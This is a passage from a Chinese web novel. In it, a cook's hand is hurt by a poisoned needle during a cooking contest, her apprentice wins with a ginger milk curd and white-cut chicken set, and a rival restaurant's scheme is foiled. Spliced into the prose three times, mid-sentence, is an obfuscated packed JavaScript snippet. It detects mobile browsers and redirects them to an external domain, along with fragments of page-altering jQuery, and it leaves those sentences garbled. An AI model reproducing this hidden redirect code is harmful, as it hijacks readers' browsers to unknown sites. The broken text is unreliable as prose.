蓝锦打开一看，一荤一素一汤，搭配得甚为合宜。怪道百味宴多年不办，光是午间的饭食，便是一大笔支出呀。 卢县令可真是有钱！ 几人用罢午食，急促的锣鼓声再度响起，蓝锦扎上参赛用的红巾子，向监看的小厮点一点头，示意计时开始。 她打算做一道荟集山河精华的小锅米线。有猪骨、有跑山鸡、有羊油、有鱼。 这是一道耗时的菜色，时间不等人。猪骨仔细收拾去除腥气，焯了水，放入香料，炖上汤。再把羊肚菌和黑鸡枞清洗干净，泡上水。 时间已过了小半，蓝锦急急地去摸食蓝里的土鸡，打算做鸡丝浇头。 “啊！嘶——” “怎么了怎么了？” “师父！” 一旁嗑瓜子的安琴和小秋，闲坐的江汝月和李厨子，瞬间围拢了过来。 嘶——蓝锦的食指，叫一根长长的银针捅了个对穿！ “快去看大夫！有没有大夫？这得多疼啊。”安琴小心地托高蓝锦的手，眼睛不忍去看她的伤口。 小秋攥着阿姐的裙角，嘴巴一瘪，都要哭出来了。又竭力忍住，不叫阿姐分神。 “哎，我的菜——” “你还做菜！李厨子，叫李厨子去做。” 李厨子也急得团团转：“我是能做，可是，百味宴一向是报了名的厨子才能参与，没有中途换人的规矩。一叫逮着，那便是作弊，不仅取消结果，参赛的店铺要禁赛三回的。” 安琴急得汗珠子都掉下来了：“取消就取消，百味宴算什么？还不快走，你的手还要不要了！得现在就去看大夫。” 蓝锦不甘心：“怪我心思都在锅里，竟连银针都忽略了去......汝月，你来做，无论做什么都好！” 江汝月正在六神无主，她想请缨，可是她只学过做点心啊！ 安琴没给她犹豫的时间，半托半抱，搂着蓝锦出了凉棚。 29. 第29章 甲一蹲在外间树上，他们身份敏感，没有去过百味宴的验身。 这里地势高，寻思远远地暗中守着也是一样的。 赛事停止的锣鼓还未敲响，竟看见蓝小娘子叫人托着手一脸焦急地送出来。他就知道，完了！ 甲一赶紧驾来马车，不顾蓝锦等人诧异的眼神，把她们送到了二公子的别院，乙一已经请来了大夫。 “小娘子忍着点。”害人精心思歹毒，银针上竟淬了毒。还好大夫拔针快，也认出了所用何物，迅速敷上了对症的药。 直到此刻，蓝锦才觉得指尖痛觉回转，之前一直木木的。 十指连心，她忍不住窝在琴姐姐怀里嗷嗷叫唤，半是撒娇半是发泄。 “可怜的锦娘。”安琴爱惜地把蓝锦鬓间的湿发挑到耳后，接过小秋手里的帕子，为她拭面。 “此人心思歹毒，针上用了大量麻痹之物，若非及时取出，对症下药，恐怕小娘子的这只手，便僵直无感了。” 那便是伤害神经的药物，可恶啊，是谁这么看得起她，竟给她这种待遇。 受此无妄之灾，蓝锦满腹委屈，在安琴的怀里哼唧不停，连小秋也摸着她的小脑袋，给阿姐梳头辫发髻。 “蓝娘子如今怎么样了？” 哭得梨花带雨、发髻散乱的蓝小娘子一抬起头，看到的便是满脸急切、清贵面具碎了一地的萧二公子。 萧仁禹看见蓝锦潮红的面色和水汪汪的眼睛，神色一怔，旋即正色道：“你放心，雁过留痕，我定能替你找出始作俑者。” 丙一是几人中轻功最好的，在家中仅次于二公子。 在看见蓝锦中途退赛的时候，便立即动身，赶回天都，几乎是叫二公子拎着脖子飞速揪了就走。 二公子揪到一半，似乎才想起他不需要丙一，信手一抛，自己动身赶了过来。 丙一努力赶上，正在门口犯晕，几个领了调查任务的兄弟就无情地把他拎走了。 蓝锦鼓鼓腮：“你还不是为了我早日养好手，给挑嘴的萧二公子做饭。” 萧仁禹默了一瞬：“我也会做饭。” 蓝锦不屑道：“你不会愿意吃的。” 萧仁禹是不愿意吃，他把寡淡无味的米粥连锅端给了蓝锦。 “呸呸呸，我是伤了手，又不是伤了胃。做什么要喝这种东西！” “伤了手也是病号，老大夫让的。” 蓝锦跟这些古人说不来。生病生病，那就是身体在打仗，打仗不需要弹药怎么行？ 那得是蛋白质、维生素和碳水搭配着来，尤其是蛋白质！她要吃肉！ 这个时代的人可不这样想。没叫她清清爽爽地饿上几顿，“什么病都好了”，那就算她的大幸了！ 还是琴姐姐懂她。安琴煮了几个鸡蛋，剥好了，拿青瓷碗装了，递给她。 蓝锦满意地接过，几口一个，觉得心情都变好了。 “琴姐姐，我要吃鱼，还要吃肉。要大块的肉，不能是肉丝、肉片、肉末，得是排骨、坛子肉、狮子头！” “好，好。不过，还是先别吃太油腻的。我去买了豆子，给你做甜豆花，咸鸡汁豆腐脑，好不好？其他的，我做的也不好吃嘛，得等汝月和李厨子来。” 安琴挤走了萧仁禹，坐在床边，给蓝锦扯正衣领。 小秋像一个小石狮子，趴在蓝锦的脚边守着不动。“阿姐吃狮子头，吃了狮子头，病就好得快！” 蓝锦和安琴相视一笑，这是蓝锦哄她吃饭的话。 小秋夜间贪凉踢被子，伤风受罪，嘴巴没味道不愿吃饭。清汤瘦肉丸子，有肉又不油腻，是蓝锦专门做的宝宝餐。 蓝锦哄着她，这是狮子头，吃了像狮子一样有力气，病好得快。 小秋皱着小脸，真个儿依言硬吃下了。 萧仁禹看着姐妹三人嬉闹，说着熟悉的典故，自己竟像插不进去一般。 一时有些失落，只专心研究米粥锅上的纹样。 好罢，这粥，他也不愿喝。什么老大夫，净出一些馊主意！ “好，等汝月姐姐她们回来，就能做狮子头了！” “也不知汝月怎么样了，第二道主菜，是做得了还是没做得？” “砰！”时辰到了，该上菜了。 幕帘拉开，各家大厨们鱼贯而出，其中尤以如意楼的主仆笑得最为得意。 果然不出他们所料，蓝记的棚子里，只有一名扎着红巾子的大厨，仍是上午做点心的那位。 听说她才来不过几月，只怕锅碗瓢盆都没认全。做出那道全场瞩目的点心，是他们轻敌大意了。 可叫一个投机取巧、靠闺中女儿心思行走的点心师傅，去做一道参赛用的主菜，那便是大大的不可能了。 其他家的菜色，他们都心知肚明。万年县里混了这么多年头，谁不知道谁啊？ 不过就是那几样招牌套路，品评的人没评腻，他们猜都要猜腻了。 如意楼做的，仍然是一道茉莉熏鱼。年年都做，今年特地换了稻花鱼。 鱼脊背一抹金黄，是他们花大价钱从南方运过来的。保准叫万年县的人眼前一亮。 除了天香楼，从没哪家胜过他们，连邈晴庵主人都在雅舍小报上盛赞过如意楼的茉莉熏鱼。 现下天香楼又作茧自缚，倒了！ 嘿，这不是理该让他们如意楼一手遮天了吗？ 旁人都端着一个盘子，蓝记的江汝月，托盘上倒放着两个。 连松琦率先打开江汝月的两道菜，一只金黄油润的鸡，姜香四溢。 一碗洁白如玉的点心，似是牛乳做的，嫩滑无瑕。 “还真是点心师傅，上午做点心倒还罢了，主菜也拿点心来敷衍。” “等着瞧吧，她就算是做出花来，点心还能胜过主菜？再说，那也不算道菜嘛！” 江汝月不与众人分辩，自己上前一步，拿着青花瓷勺，大剌剌地往碗中一放。 众目睽睽之下，勺子竟然浮在点心之上，立住了！ 连松琦来了兴致：“这是什么菜色？” “回老夫人，是姜撞奶。” “为何要用这个，应主菜的考题？” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541972|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我本是负责点心的厨子，只因师父被食材上藏着的银针刺伤，这才顶上。师父未曾教过我做主菜，这道白切鸡，是师父教我做姜撞奶时，顺手做的，可以把用不上的姜蓉做成蘸料。” 坦诚老实的江汝月，把连松琦逗得一笑。 她说的全是实在话。蓝锦走了，江汝月竭力忘掉慌张，回忆师父教给自己的菜色，有什么能当作主菜。 那日庄子上送来了好牛乳，蓝锦一时兴起，滤出一个蛋清，蛋黄不要，搅得散散的。 将小黄姜细细地研磨成蓉，拿白纱巾子往干净碗中拧出浅浅一层姜汁。 又把牛乳和白糖一起倒进锅里，不停地搅拌，直至温热。 一半高高地倒进姜汁碗里，盖着静待凝固。 另一半先在碗中降温，做第一层奶皮。再小心地倒出奶皮下的牛奶，把皮子留在碗底。 倒出去的牛奶加入蛋清，搅拌融合，过筛除泡，再放回碗里，盖上盖子放进蒸笼里去蒸。 剩下的姜蓉扔了可惜，蓝锦就烧了一大锅水，放上葱姜，夹着一只收拾干净的走地鸡，搁进去烫皮。 夹着整鸡三起三落，再焖进锅里加盖小火炖煮。一会儿功夫，金黄的鸡油浮在表面，浓郁的鸡香味充斥灶间。 蓝锦手上功夫漂亮，又着意指点江汝月，特地将白切鸡斩得齐整干净，摆盘精心。 蘸料里搁了香葱、姜蓉、香醋，还烧了热油泼上去。 白嫩的鸡肉火候得当，原始的鸡香味竟带着一丝甜美。蘸着姜醋吃，按师父的话说，不输大闸蟹。 江汝月最爱师父做的双皮奶，表面有一层，待吃到下面还有一层。奶味浓郁，口感爽滑，双层奶皮绞住唇舌。 可惜她还没完全掌握，是否做出奶皮不敢打保票。加之上午做点心时，剩下的牛乳也不多。 她便扬长避短，只做了姜撞奶配上。 连松琦吃了一天的甜腻油荤之物，各家厨子尽显神通，无一不是重油重盐。 虽是家里人都拦着她不让吃的东西——这也就是为什么她硬要来参加百味宴，可以尽情吃“有害身体”的美味——但这时身体反应占了上风，她确实有些吃不消了。 江汝月的这道佐餐小点深得她心。姜汁蛋白酶和牛乳中充足的蛋白质反应彻底，现下已经凝成固体，生生可爱。 她舀起一勺来放入口中，甜甜的，香香的，倏地一下就化成了水，只留浓郁的香气。 小黄姜汁有种温柔的刺激性，恰到好处地激出牛乳的奶香，盈润满口。 甜香惑人，一碗很快见了底。每咽下一口，都一直暖到胃里。 连松琦只觉腹中很是熨帖，再夹起一块白切鸡，清淡弹牙，爽口鲜甜。 “不错，不错。”她主动让人把蓝记的食盘往前递，“你们尝尝，清淡不失野趣，倒是极风雅，正合了大雅至简的韵味。” 一位胡子花白的老者依言夹起一块鸡肉，细细咀嚼，眉头耸动。 他才尝过如意楼的茉莉熏鱼，大荤之物增添花香，解了油腻，又赋予市井之物一丝文人气，正赞不绝口。 30. 第30章 “咦，白切鸡这样简单，怎么有人用这道菜应战？” 连松琦但笑不语。其他几名品评人都围将过来，看是什么菜色吸引了连老夫人的注意。 “爽滑弹嫩，火候掌握得不错，不知如何做的，鸡皮竟格外脆。” “说穿了，也不过是一道简单的煮鸡而已。什么技艺也显不出，拿这道菜，蓝记未免太黔驴技穷了。” 底下的其他大厨也窃窃私语：“连老夫人明显看上了那道什么撞奶点心，可也不能这样不公，主菜也用点心取胜。” 有个西南来的厨子慢吞吞说道：“你刚刚还说，点心不可能也胜过主菜。” “嘿，你哪一家的？怎么还向着她说话。” 台上的品评人们，明显也有持此想法的。先是满脸不屑地舀起一勺姜撞奶，等到吃进口中，脸色一变。 这牛乳软滑不腥，从液体变作固体，竟全然变了一种味道。 待问得就是简单的姜与牛乳，他讶然道：“若是姜味牛乳，我可是打死都不愿喝的。可这姜撞奶，竟然是这般口感！” 话是这般是说，可他仍是不愿将签子投给蓝记：“点心虽好，你该在上午的赛事中显露。主菜的色香味和厨艺功夫，如何能用此糊弄？” 连松琦却搛起一块鸡肉，亮于人前：“诸位且看这白切鸡的色泽，金黄、白嫩，内里略透一道胭脂红。故而吃起来才嫩极、脆极，这如何不算彰显火候功夫？” 她又单独夹起一块骨头：“斩面无渣，下刀利落，块块均等，腕力平稳，如何不算刀工？至于调味、香气，就不用我多说了吧。” 连松琦盯住一个置身事外的品评人，他躲在一旁，抱着自己那份白切鸡，风卷残云，吃得正香。 看见连老夫人注意到了自己，他只含混道：“好吃！比熏鱼都好！” 那道熏鱼，搁在他面前，还是满满一盘子，形成鲜明对比。——再好吃也架不住回回都吃，他吃厌了！ 在场的名士说是一道品鉴，其实谁人不买连老夫人的面子。 当平民组的票选结果送过来的时候，场上的风向更是全然变了。 “得票最多的是蓝记饮食店。” 几位品评人共同商议，也都把票投给了蓝记。 几声锣鼓声响过，一个穿着红衣的杂役上台宣布： “百味宴点心组魁首——蓝记饮食店，灯盏糕。百味宴主菜组魁首——蓝记饮食店，白切鸡姜撞奶套餐。” 但听得欢呼汹涌，在台下等消息的江汝月还未反应过来，旁边的李厨子就一个劲唤她： “江小娘子！去高台领奖啊，还有绸花戴呐，跟状元郎身上的一样！” 江汝月头昏昏的，觉得一切都那么不真实。她叫人潮拱至台前，接过了魁首的红绸。眼前，全都是为她欢呼的人群。 不是横眉竖眼的远房长辈，不是上门催债的赌场打手，不是避而远之的街巷邻居...... 这一切，都是师父带给她的啊......人人都不信她，唯有师父信。 “汝月，我说怎么着，你肯定成！给我瞧瞧这冰窖对牌，嘿，卢县令可真大方，还给个窖！” 蓝锦举着包裹得跟个粽子似的手，没事儿人似的拉自家徒弟到身边坐下。 “是师父教得好，我都是在模仿师父。”江汝月颇为动容。 “这说得哪儿话。练到三更的人不是你？一道菜反复调方子的不是你？在腕子绑沙袋切菜的不是你？活该你夺魁。” “那也是知道师父曾经这样做，我学着罢了，不及师父的天赋一二。” 蓝锦正色道：“你肯学，肯下苦功，这如何不算一种天赋？你可别高兴得太早！我这手伤了，以后我再犯馋，可都得叫你劳累了！” 江汝月破涕为笑，忙不迭道：“是我应做的。” 蓝锦一拍她：“才不是你应做的！是我雇你的，我给你发钱，还分红的！” 李厨子也在旁边凑趣：“我看，我得拜江小娘子为师，改口叫师父为师祖了。师父手伤了，得当座菩萨，高高地供起来才对啊。” 蓝锦骂道：“你什么时候像汝月这样听话就好了。我何时答应做你师父？你趁早回去做县衙大厨，赚金疙瘩才好！” 李厨子挠挠头：“我不，还是留在这，给师父切墩。盼望沾染几分师父身上祖师爷赏的仙气儿。” 蓝锦扬了扬手：“但愿不是霉气。” 萧仁禹这时走过来：“是如意楼。” 这话没头没尾的，在场诸位都没听明白。蓝锦却懂了，自家食篮里的银针，是如意楼派人使的坏。 ** 万年县有了一桩时兴的潮流要赶，人人见面寒暄，都要问上一句：“你吃白切鸡配姜撞奶了吗？” 来人往往答上一句：“嗨！今儿对牌发完了，没赶上，我明儿再去！” 百味宴的明星效应不容小觑。蓝记夺魁的消息一经传出，万年县的百姓们个个抓耳挠腮，百味魁首的滋味，到底是什么样的？ 听说连如意楼的茉莉熏鱼，号称百年秘方的，都叫它打败了。 蓝锦只管窝在柜台把玩她的小算盘，安琴在笑容满面地接待结账：“哎，您拿好对牌，廿二号，您前头大抵还有九桌人，先等上一盏茶的功夫，就差不离了。” 桌子俨然一个大堂经理：“客官这边请，这儿有瓜子柠檬水薄荷水，还有冰盆，您稍待！” 门口支起凉棚，等待区井然有序。来客只觉新奇：“从前哪里见过这等阵仗。” “值！且等着吧。我昨儿等了一个时辰，好容易吃上的，我一吃，哎哟，我今儿还来！” 蓝锦手不便，脑子却没闲着。她不仅设置了排队章程和等位服务，还每日优化人员分工。 如今，蓝记饮食店的出餐速度越来越快，翻台率却只高不低。 小秋急匆匆赶进门，放下小书包。今日学堂有考试，结束得早。她身后还乌泱乌泱跟了一大群大尾巴。 “阿姐，我回来了！我们考完试了，好些同窗都跟我回来了，要吃咱家的姜撞奶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541973|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和白切鸡。” “阿姐好！”“阿姐好！”一群不比蓝锦小上多少的学子们争先恐后地打招呼。 开玩笑，这可是美食的神！没吃过小秋荷包里的点心肉脯吗？ 蓝锦笑着迎上前去：“如今干等着，不知要到什么时辰了。先跟我到后院来吧，尝一尝别的。” 她说得清脆，等位区的人群都听到了。个个都在感受着冰盆的清凉，嗑着瓜子，倒也没人发出异议。 她招招手，凳子也跟了过来帮忙。蓝锦伤的是手，脑子却没伤。 自家小院的地窖也修好了，已是一个临时的储冰处。她指挥着凳子下去，端出早上做的一个个冰碗。 “哇——” 看着五颜六色的冰碗在桌面上一字排开，存竹书院的学子们俱叫出了声。 白中透黄的是雪梨冰碗，粉色的是蜜桃的，紫红色的是紫苏乌梅子的，碧绿的是香瓜青梅的，金灿灿的是桂花糯米元子，竟还有橘色的，里头是甜柿饼切作了丝！ 学子们先向蓝锦致礼道谢，才一哄而上，挑了自己最感兴趣的口味，拿着小勺细细品尝。 “我这个好，凉丝丝的，咬起来又软又硬！”她拿到的是甜柿口味的。 “糯米元子好吃，最适合做冰碗了。阿姐，何不把每一碗都加上糯米元子，它配什么味道都好吃。” 蓝锦笑眯了眼，深以为然，这位小姑娘，是一个天然的奶茶小料届行家呀！ “小秋，给我尝尝你的！我这个酸溜溜的，口齿生津，我们分着吃，如何？” 小秋拿到的是冰镇雪梨汤，她从前爱咳嗽，阿姐便常给她煮甜甜的雪梨汤喝。其实不拘什么水果，糖便很有润喉的效果。 后来咳嗽好了，这个小零嘴的爱好仍留了下来。 “喏，给你尝我的，甜丝丝，还能治咳嗽的。”小秋含了一口紫苏乌梅子的，口水险些包不住。 “好吃！”不愧是她阿姐做的。 云江望不与旁人说话，她一碗接一碗地吃。人家吃一碗的功夫，她倒吃了三碗！ 蜜桃的，里面还额外撒了花蜜。那股甜香复杂有致，好像她不再是马背上的云江望，倒做了花丛中的蜜蜂。 香瓜青梅的，清爽的甜香里带着一丝酸意，叫人欲罢不能，她一口气吃了两碗。 蓝锦也拿了一碗桂花糯米元子，一只手用小牙签叉着吃。 等到这群乌泱泱的学生们走的时候，每人手里还带走了一个冰碗。 如意楼的管事远远地看见了，眯着眼盯着她们手里的冰碗，手一挥，叫人去打听。 “主子，就是这个！”如意楼的仆役端来半碗冰镇紫苏乌梅，跑得呼哧带喘。身后还跟着满脸堆笑的筷子，蓝锦的便宜徒孙。 “管事大人，还有雪梨的，青梅香瓜的，桃子的，柿饼的，桂花的。她伤了手，挨个指挥我们做的，错不了！” 如意楼管事眼珠一转，噢，百味宴魁首所得的那窖冰，原来叫她们用在了此处。那县令大人的周岁宴...... 31. 第31章 转眼来到了七月初一，县令千金周岁宴的正日子。宴会设在了卢家府邸，院中早早搭起了戏台子。 往来的宾客与下人们往来穿梭，人声喧嚷，乱中有序。 蓝记饮食店作为周岁宴的承办方，天不亮就来到了卢府。 陆初芸热情地接待了蓝锦，正经把她当作女客，还提前给了蓝记诸人每人一个红封，言说沾沾喜气。 蓝锦客气地谢过，退了出来。正想把大家的红封分发下去，数来数去，却见少了筷子。 “筷子去哪儿？这样的事，他该是最积极的呀？”蓝锦疑惑道。 桌子挠挠头：“昨晚就没见着，他好似提过一嘴肚子疼，之后便再没见着了。” 蓝锦便也不再找了，把其他人的红封都发了下去。收拾干净，一行人进了灶间。 她曾来过一回，便宜徒孙们和李厨子更是做惯了的，无有不熟的。 安琴耳提面命过，江汝月更变成了琴姐姐的应声虫，此刻寸步不离地看着蓝锦，她便只能动嘴，不能动手。 好在菜色都是蓝记做惯了的。头盘是桂花糯米藕，一早就腌好了的。五香腐皮卷，薄如蝉翼的豆皮裹上各色蔬菜丝和蛋皮丝，香料油炸过。 梨香虾球，酸甜口的，孩子最爱。烟熏姜香鸡，是拿茶叶、大米、海量的姜蓉，在大锅里熏得的。 又有东坡肉，按位上菜，每人一方，搁在白瓷盅里。松鼠鳜鱼、腰果鸡丁、蟹粉狮子头、素什锦、香芹百合...... 蓝锦打听得卢县令和陆初芸出身南方，想来有些菜色更合他们心意。 最精心的还是糕点主食，一块块米糕借了状元及第糕的方子，却又使专门的模子做成了算盘、书册、银锭、画笔、宝剑的形状，暗合了周岁抓周的习俗。 上菜时一个个盖子不掀开，叫满桌客人转着抽取，打开才知道是什么，也如抓周一般有趣味。 “哎，我这是个金元宝，好哇，借卢大人的福，我今年，是要发财呀！” “你竟抽中一个笏板，竟还有这个，这是要高升的福气啊。” 宾主尽欢，凳子偷偷去前院看了，回来报知师父师祖。 蓝锦笑着喊他回来：“惊动了客人就不美了。” 这时却还有一个客人主动绕到后院灶间来，是萧仁禹。 卢县令对萧仁禹的赏光可是异常兴奋，这是多大的情面。要知道，萧国公府是仅存的四家国公之一，世袭罔替。 萧老将军虽战死了，可萧世子又起来了。这位二公子，竟还走了文臣的路子，也是圣上面前的红人。连宫里那几位含金汤匙降生的，都若有若无地对他示好。 自家小女的周岁宴，竟能请到萧国公府二公子前来作贺，是他万万没想到的。 管家报知他时，他还当听错了，待要把人安排到上座，却又找不到人了！ 萧仁禹别别扭扭地把闲人蓝锦叫出灶间，别别扭扭地掏出一盒五个猫儿塑：“喏，送给你，贺你夺魁。” 蓝锦看着这群小胖猫儿，有橘花纹的，黑白色的，三花色的，浑身雪白的，还有狸花纹掺白色的。 她惊喜地拿起一只：“好可爱，你哪来的？” 萧仁禹咳嗽一声：“周岁孩子用不上，你玩吧。” 小朋友可能觉得幼稚，大朋友蓝锦觉得刚刚好。她珍惜地接过来，小心地揣到包袱里放好：“谢谢你，我很喜欢。” 萧仁禹辗转反侧好些时日，终于送了出去，心中卸下好大一块石头。此时小秋也不在，安琴也不在，只有蓝小娘子一个人。 他不免得意，看，他没有吃白食，知恩图报。萧清珩那丫头别的不行，挑小玩意的眼光还是不错的嘛。 “你也来参加周岁宴？那你生意做得挺大嘛，连县令的线都能搭上。” 蓝锦刚讲完，又想起来，噢，他还借住县衙的客房嘞，肯定一早就认识卢大人了。 萧仁禹眼神回避。蓝锦又问道：“那你为何不去吃席面？今日的菜色很诱人！待会还有神秘新品，保证你没吃过的。” 萧仁禹看着蓝锦仍包裹着的伤手，摇摇头，高冷道：“不是你做的，我不吃。” 蓝锦“噗”地一声笑了：“你又乱瞧不起人。菜色的步骤都是我一点点指点出来的，菜谱也是我定的，只不过不经我的手罢了，又能吃出什么差别？” 萧仁禹45度角仰望天空：“就是不一样。” 蓝锦无奈，举起猫儿塑的木匣，再谢了他一句，转头进去了。 萧仁禹目的达成，便一阵风似的翻墙走了。 徒留卢县令大骂管家：“你不是说来了吗！” 管家也是百口莫辩，皱眉道：“大人，真真的，我刚看见了。” 卢县令一甩宽袖：“下次把眼神放亮点，别再晃我一回了。” ** “主子！成了。”如意楼的仆役上了卢府不远处的马车，俯身回报。 管事笑得春风得意：“没留下什么话柄吧？” “没有。财帛动人心，真金白银往他眼前一放，就成啦！他不过是县令府小厨房管瓜果采买的，能挣得多少？” “咱们可是免费赠他家瓜果冰碗，他没有不积极牵线的道理。您神机妙算，时辰掐算得好。如今，宾客们已是吃上了，哪还有蓝记冰碗的位置。” 如意楼的如意算盘，打得倒也简单。蓝记赢了冰，这次周岁宴，难免会在冰上下功夫。 他们家从内部打探得消息，蓝锦日日做什么冰碗，做出花样无数。 如意楼便也花大价钱买了冰。不就是瓜果糖蜜吗？当谁不会似的，只要花血本，他们做出的花样还更多。 前院跟后院有信息差，他们略施小计，让奔走的仆役做个顺水人情。 等蓝记发现客人们的冰点已经上过，那也没法上第二次了。这不合礼仪，更何况，蓝记的冰点，跟他家的是一样的！ 客人们吃到最后，会发现碗底的“如意”二字。饶是知道百味宴的人会有疑惑。他家的名声，早也打出去了。 可笑蓝记的蓝小娘子，忙活一圈，赔了夫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541974|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又折兵。伤手不说，还尽为他们做嫁衣裳。 一主一仆在马车里笑得肆意，彷佛看到了蓝记饮食店像天香楼一样没落倒牌，徒留如意楼独大的日子。 这不过是其中一步，做事要双管齐下，才能万分保险。如意楼的管事大手一挥，马车低调地向蓝记饮食店行进。 蓝记的小徒弟筷子，人机灵肯干，店内无人，一早就在那里等着他们。冰窖里的冰——这才是最大的宝藏。 炉内计时用的香已快燃尽，该是上甜点的时辰了。蓝锦拍拍膀子抡出火星子的徒孙们，亲自指点摆盘。 “上过了？上的什么？” “是瓜果冰碗。” 蓝锦微微一笑，亲自带人去了前厅。先说了几句漂亮话恭祝生辰，一转身，显出身后盖着的白碗。 “这是蓝记新研制出来的夏日冰点——冰淇淋。吃起来冰爽可口，绵软香浓。诸位尝尝！” 客人们都跃跃欲试，满脸期待。下人们鱼贯而入，在每一位客人面前放上一个小盅。 掀开盖子，一股冷气直扑鼻腔。 “好凉！”有人挖了勺。这冰淇淋的手感怪异得很，明明硬邦邦的，又韧韧的戳得动。一时不察，戳下来好大一块。 俱都放入口中，冰淇淋就开始打人了。 “好甜呐。”扎着羊角辫的孩童小脸热得红扑扑的，此时一口冰淇淋下肚，瞬间忘了哭闹，也不喊热了，破涕为笑。 “倒真是不错，牛乳香这么浓，还没有硬冰碴子，从来没有吃过这种甜点。” “像冰酪、酥山，却比冰酪、酥山要好吃。口感绵密，若是天上的云能吃，大概就是这种味道了吧。” “不像云，我觉得像雪，冬日里头刚从天上坠到手心里的雪花。我回回都想吃，可惜那一坠下来就化了。今儿可是让我赶上了，竟能吃上雪。” 托这次百味宴奖品的福，苦夏的蓝锦满腹渴盼可算是找到了用武之地。 每个现代人都懂得冰淇淋的魅力，这种东西，没吃过是想象不到的。 蓝锦吃过，又了解食材特性，知道往哪种方向调整，这才能无限接近理想中的味道。 冰淇淋的口感这样好，离不开她的百般钻研。 最先要解决的就是乳化难题，让水和油脂不分离，才能做出绵密口感。鸡蛋黄和蜂蜜充当了天然的乳化剂，蓝锦还刁钻地加了些山药粉。 现代甜品之所以好吃，离不开“打发”理念。蓝锦特特去铁匠铺定做了八爪鱼一般的打蛋器。 店里的“徒子徒孙”们齐上阵，甩开膀子快速打发，连肌肉都要增了几块。 好比平平无奇的酸奶，常温直接喝也能体会滋味。但有人就爱吃炒酸奶，就是因为炒制的过程中打入了空气。 冰淇淋也是同理。打发使得它的内部锁住了一个个小气泡，轻盈蓬发。又是在冰窖，急速降温。如此一来，冰淇淋的口感叫她复刻了六七成。 虽然不是百分百现代冰淇淋，叫从未尝过的万年县人来说，已是十分新奇美味了！ 32. 第32章 冰淇淋并不好做。在尝试途中，还未成功的时候，蓝锦只能做点冰碗来吃，聊以解馋。 那些存竹书院的孩子们奉为瑰宝的美味甜品，严格来说，只是蓝锦看不太上的失败品罢了。 新奇的冰淇淋吸引了在场每一位客人的注意力。人人都争先恐后地尝试。 谁还记得宴席该上一道甜点、还是两道甜点的事，连卢县令也吃得兴起，直说要再尝尝另一种口味的。 此时一众宾客早把此前捧在手里的“如意楼伪作”冰碗搁下，甚少有人吃得见底，去看它碗底的小字。 如意楼为此事花了一大笔钱财，此刻还一无所知。 管事和伙计从马车上下来，径直走入了蓝记的后院。 筷子殷勤地开锁引路：“管事大人，您看，冰窖就在这。” 管事留了个心眼：“你去开。” 筷子熟门熟路，打开冰窖盖子，钻下去露出个脑袋，示意管事踩着他的肩膀下来。 眼前大张油毡布盖着一座座冰块小山。管事心头一喜：得来全不费工夫。 蓝锦啊蓝锦，巴巴为他做嫁衣，现下还要被他偷家，待反应过来，还不偷偷在被窝里哭啊？ “火折子拿来！”管事原就打算好了，能搬就搬，搬不走的部分，一把火烤化了。除了他，谁也捞不着好。 几人上前，打算扯下油毡布，突然—— “嗷！嗷！”“杀千刀的！” 几人掌心且痛且麻，原地跳脚。低下头一看，满手都是细如牛毛的银针！ 看着伤处逐渐变乌的血色，管事暗叫不好：“快走！我要看大夫。” “哎呀，这是什么风，把您几位吹来了？” 地窖口冒出一个毛茸茸的圆脑袋，蓝锦嬉皮笑脸，以一种看热闹不嫌事大的口吻，对着底下打招呼。 “你这个毒妇！心机深重，竟敢下毒！”如意楼的管事慌不择路。刚要上来，蓝锦就手执木柴，打地鼠一般，将他的脑袋按下去了。 “您别急嘛。县衙的差役们都在周岁宴上，且等一会才能到呀。我可是没本事得很，做小本生意罢了，当不得您‘心机’、‘毒妇’的夸赞！” 管事疼得龇牙咧嘴，因为他知晓这种毒药的厉害。伤了手那都是小事，搞不好，整条胳膊都别想要了。 “不过，这倒是奇了。我自家的冰窖，自家防鼠蚁的东西，缘何到了管事大人您的手上？” 蓝锦满脸惊讶，完全是一副真心发问的样子。 “莫非您几位是专门趁我不在，行那暗地窥伺、瞒天过海、偷鸡摸狗、吃里扒外的好事？啧啧啧，都说三岁看老，管事大人，我看你是不得善终的命格呀。” 管事虽气得倒仰，却无心与她争辩——他急着去熟识的大夫那里，救他中了毒的手。 眼看时间一分一秒地流逝，手上的青紫已经蔓延至腕处。饶是不像管事一样，知晓针上的古怪，其他人也觉出了不对。 筷子直跪下磕头：“师祖，师祖饶命！我是被人骗的，我是被人逼的。求师祖放过我，我给师祖当牛做马，我给师祖消灾挡祸，无有不应的。” 蓝锦吹了吹小指甲，笑道：“别碰瓷啊，我可不是你师祖。咱们之间没什么关系，既捡了高枝，就扑棱棱飞了去吧！” 